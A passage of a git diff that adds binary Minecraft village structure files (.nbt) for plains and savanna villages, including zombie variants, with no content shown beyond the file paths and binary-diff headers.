b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_5.nbt new file mode 100644 index 00000000..558688d1 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_6.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_6.nbt new file mode 100644 index 00000000..2ff39da6 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_7.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_7.nbt new file mode 100644 index 00000000..22144485 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_8.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_8.nbt new file mode 100644 index 00000000..4ef7849b Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_stable_1.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_stable_1.nbt new file mode 100644 index 00000000..73501d2a Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_stable_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/corner_01.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/corner_01.nbt new file mode 100644 index 00000000..6cfe00a4 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/corner_02.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/corner_02.nbt new file mode 100644 index 00000000..dd6f074c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/corner_03.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/corner_03.nbt new file mode 100644 index 00000000..9270cf50 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_01.nbt new file mode 100644 index 00000000..d2cabb42 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_02.nbt new file mode 100644 index 00000000..ad60786c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_03.nbt new file mode 100644 index 00000000..f4a9d74e Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_04.nbt new file mode 100644 index 00000000..5bbbf339 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_05.nbt new file mode 100644 index 00000000..5157f193 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_06.nbt new file mode 100644 index 00000000..8477e96f Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/straight_01.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/straight_01.nbt new file mode 100644 index 00000000..a4291229 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/straight_02.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/straight_02.nbt new file mode 100644 index 00000000..7d31b5c6 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/straight_03.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/straight_03.nbt new file mode 100644 index 00000000..5b1a37c3 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/straight_04.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/straight_04.nbt new file mode 100644 index 00000000..f44fdfb4 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/straight_05.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/straight_05.nbt new file mode 100644 index 00000000..ab0cc27a Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/straight_05.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/straight_06.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/straight_06.nbt new file mode 100644 index 00000000..c080502e Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/streets/turn_01.nbt b/src/data/minecraft/structures/village/plains/zombie/streets/turn_01.nbt new file mode 100644 index 00000000..26792c87 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_fountain_01.nbt b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_fountain_01.nbt new file mode 100644 index 00000000..7f7b997c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_fountain_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_1.nbt b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_1.nbt new file mode 100644 index 00000000..ee9626e4 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_2.nbt b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_2.nbt new file mode 100644 index 00000000..4dafb268 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_3.nbt b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_3.nbt new file mode 100644 index 00000000..812fdcdf Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/town_centers/plains_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/villagers/nitwit.nbt b/src/data/minecraft/structures/village/plains/zombie/villagers/nitwit.nbt new file mode 100644 index 00000000..2a0d6750 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/villagers/unemployed.nbt b/src/data/minecraft/structures/village/plains/zombie/villagers/unemployed.nbt new file mode 100644 index 00000000..bca9f977 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_1.nbt new file mode 100644 index 00000000..64d8e230 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_2.nbt new file mode 100644 index 00000000..2bc458ca Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_3.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_3.nbt new file mode 100644 index 00000000..d80997f4 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_animal_pen_3.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_armorer_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_armorer_1.nbt new file mode 100644 index 00000000..f718a311 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_armorer_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_butchers_shop_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_butchers_shop_1.nbt new file mode 100644 index 00000000..44131250 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_butchers_shop_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_butchers_shop_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_butchers_shop_2.nbt new file mode 100644 index 00000000..3d1df943 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_butchers_shop_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_cartographer_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_cartographer_1.nbt new file mode 100644 index 00000000..2a5f4792 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_cartographer_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_fisher_cottage_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_fisher_cottage_1.nbt new file mode 100644 index 00000000..eb631df5 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_fisher_cottage_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_fletcher_house_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_fletcher_house_1.nbt new file mode 100644 index 00000000..2f33488a Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_fletcher_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_large_farm_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_large_farm_1.nbt new file mode 100644 index 00000000..4c172656 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_large_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_large_farm_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_large_farm_2.nbt new file mode 100644 index 00000000..5a6465f5 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_large_farm_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_library_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_library_1.nbt new file mode 100644 index 00000000..a5baad67 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_library_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_mason_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_mason_1.nbt new file mode 100644 index 00000000..50c67782 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_mason_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_medium_house_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_medium_house_1.nbt new file mode 100644 index 00000000..f303fdbe Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_medium_house_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_medium_house_2.nbt new file mode 100644 index 00000000..ff5059a4 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_shepherd_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_shepherd_1.nbt new file mode 100644 index 00000000..88cda38f Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_shepherd_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_farm.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_farm.nbt new file mode 100644 index 00000000..9a50a885 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_farm.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_1.nbt new file mode 100644 index 00000000..b2c056e4 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_2.nbt new file mode 100644 index 00000000..a103f6da Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_3.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_3.nbt new file mode 100644 index 00000000..8de04574 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_4.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_4.nbt new file mode 100644 index 00000000..58221cec Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_5.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_5.nbt new file mode 100644 index 00000000..888e8e99 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_6.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_6.nbt new file mode 100644 index 00000000..d8381116 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_7.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_7.nbt new file mode 100644 index 00000000..adae2ca7 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_8.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_8.nbt new file mode 100644 index 00000000..0a90e50f Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_tannery_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_tannery_1.nbt new file mode 100644 index 00000000..612a1fcd Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_tannery_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_temple_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_temple_1.nbt new file mode 100644 index 00000000..be2574f7 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_temple_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_temple_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_temple_2.nbt new file mode 100644 index 00000000..bcfdb65f Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_temple_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_tool_smith_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_tool_smith_1.nbt new file mode 100644 index 00000000..60409032 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_tool_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_weaponsmith_1.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_weaponsmith_1.nbt new file mode 100644 index 00000000..6058f024 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_weaponsmith_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/houses/savanna_weaponsmith_2.nbt b/src/data/minecraft/structures/village/savanna/houses/savanna_weaponsmith_2.nbt new file mode 100644 index 00000000..aec4a943 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/houses/savanna_weaponsmith_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/savanna_lamp_post_01.nbt b/src/data/minecraft/structures/village/savanna/savanna_lamp_post_01.nbt new file mode 100644 index 00000000..776862e4 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/savanna_lamp_post_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/corner_01.nbt b/src/data/minecraft/structures/village/savanna/streets/corner_01.nbt new file mode 100644 index 00000000..355c9398 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/corner_03.nbt b/src/data/minecraft/structures/village/savanna/streets/corner_03.nbt new file mode 100644 index 00000000..a45d0900 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/savanna/streets/crossroad_02.nbt new file mode 100644 index 00000000..91b66b78 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/savanna/streets/crossroad_03.nbt new file mode 100644 index 00000000..d5e3c89b Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/savanna/streets/crossroad_04.nbt new file mode 100644 index 00000000..7099e442 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/savanna/streets/crossroad_05.nbt new file mode 100644 index 00000000..cef375f7 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/savanna/streets/crossroad_06.nbt new file mode 100644 index 00000000..f4d8c301 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/crossroad_07.nbt b/src/data/minecraft/structures/village/savanna/streets/crossroad_07.nbt new file mode 100644 index 00000000..8f3a4b48 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/crossroad_07.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/split_01.nbt b/src/data/minecraft/structures/village/savanna/streets/split_01.nbt new file mode 100644 index 00000000..2a03f6bf Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/split_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/split_02.nbt b/src/data/minecraft/structures/village/savanna/streets/split_02.nbt new file mode 100644 index 00000000..d580e1fb Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/split_02.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_02.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_02.nbt new file mode 100644 index 00000000..b89907f2 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_04.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_04.nbt new file mode 100644 index 00000000..dd87d11c Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_05.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_05.nbt new file mode 100644 index 00000000..8d0abe78 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_05.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_06.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_06.nbt new file mode 100644 index 00000000..03b3ef24 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_08.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_08.nbt new file mode 100644 index 00000000..eadfd674 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_08.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_09.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_09.nbt new file mode 100644 index 00000000..8ff31f24 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_09.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_10.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_10.nbt new file mode 100644 index 00000000..115220f1 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_10.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/straight_11.nbt b/src/data/minecraft/structures/village/savanna/streets/straight_11.nbt new file mode 100644 index 00000000..1dd5d576 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/straight_11.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/streets/turn_01.nbt b/src/data/minecraft/structures/village/savanna/streets/turn_01.nbt new file mode 100644 index 00000000..a4cf8312 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/terminators/terminator_05.nbt b/src/data/minecraft/structures/village/savanna/terminators/terminator_05.nbt new file mode 100644 index 00000000..bfb72ee5 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/terminators/terminator_05.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_1.nbt b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_1.nbt new file mode 100644 index 00000000..dbcdae5c Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_2.nbt b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_2.nbt new file mode 100644 index 00000000..8e33c140 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_3.nbt b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_3.nbt new file mode 100644 index 00000000..3dcc683d Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_4.nbt b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_4.nbt new file mode 100644 index 00000000..2b5de9f4 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/town_centers/savanna_meeting_point_4.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/villagers/baby.nbt b/src/data/minecraft/structures/village/savanna/villagers/baby.nbt new file mode 100644 index 00000000..bf04e293 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/villagers/baby.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/villagers/nitwit.nbt b/src/data/minecraft/structures/village/savanna/villagers/nitwit.nbt new file mode 100644 index 00000000..ddcbc3e8 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/villagers/unemployed.nbt b/src/data/minecraft/structures/village/savanna/villagers/unemployed.nbt new file mode 100644 index 00000000..2ad2e70d Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_animal_pen_2.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_animal_pen_2.nbt new file mode 100644 index 00000000..87d6de43 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_animal_pen_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_animal_pen_3.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_animal_pen_3.nbt new file mode 100644 index 00000000..fcdf4538 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_animal_pen_3.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_large_farm_2.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_large_farm_2.nbt new file mode 100644 index 00000000..fc6f92b0 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_large_farm_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_medium_house_1.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_medium_house_1.nbt new file mode 100644 index 00000000..9c2ae434 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_medium_house_2.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_medium_house_2.nbt new file mode 100644 index 00000000..0477aac2 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_1.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_1.nbt new file mode 100644 index 00000000..4d982cc3 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_2.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_2.nbt new file mode 100644 index 00000000..6a071936 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_3.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_3.nbt new file mode 100644 index 00000000..e08184b9 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_4.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_4.nbt new file mode 100644 index 00000000..daf36302 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_5.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_5.nbt new file mode 100644 index 00000000..e734aff7 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_6.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_6.nbt new file mode 100644 index 00000000..3786b285 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_7.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_7.nbt new file mode 100644 index 00000000..16bbf19e Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_8.nbt b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_8.nbt new file mode 100644 index 00000000..74db32c1 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/houses/savanna_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/corner_01.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/corner_01.nbt new file mode 100644 index 00000000..466888f8 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/corner_03.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/corner_03.nbt new file mode 100644 index 00000000..8a3e54e7 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_02.nbt new file mode 100644 index 00000000..b8a7eec1 Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_03.nbt new file mode 100644 index 00000000..e261c93a Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_04.nbt new file mode 100644 index 00000000..4d2ffded Binary files /dev/null and b/src/data/minecraft/structures/village/savanna/zombie/streets/crossroad_04.nbt differ diff --git 